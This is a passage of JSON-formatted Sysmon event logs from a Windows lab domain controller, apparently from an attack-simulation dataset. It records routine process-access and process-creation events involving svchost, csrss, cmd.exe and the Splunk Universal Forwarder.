ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2014,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2015,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010E5150300}\r\nTargetProcessId: 4092\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010E5150300}","TargetProcessId":"4092","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2016,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.988\r\nProcessGuid: {90617006-3FE8-5F2D-0000-0010604C0300}\r\nProcessId: 2412\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinHostMon.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.988","ProcessGuid":"{90617006-3FE8-5F2D-0000-0010604C0300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinHostMon.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2017,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-001051180300}\r\nTargetProcessId: 2412\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-001051180300}","TargetProcessId":"2412","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2018,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-001051180300}\r\nTargetProcessId: 2412\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-001051180300}","TargetProcessId":"2412","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2019,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2020,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2021,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2022,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: 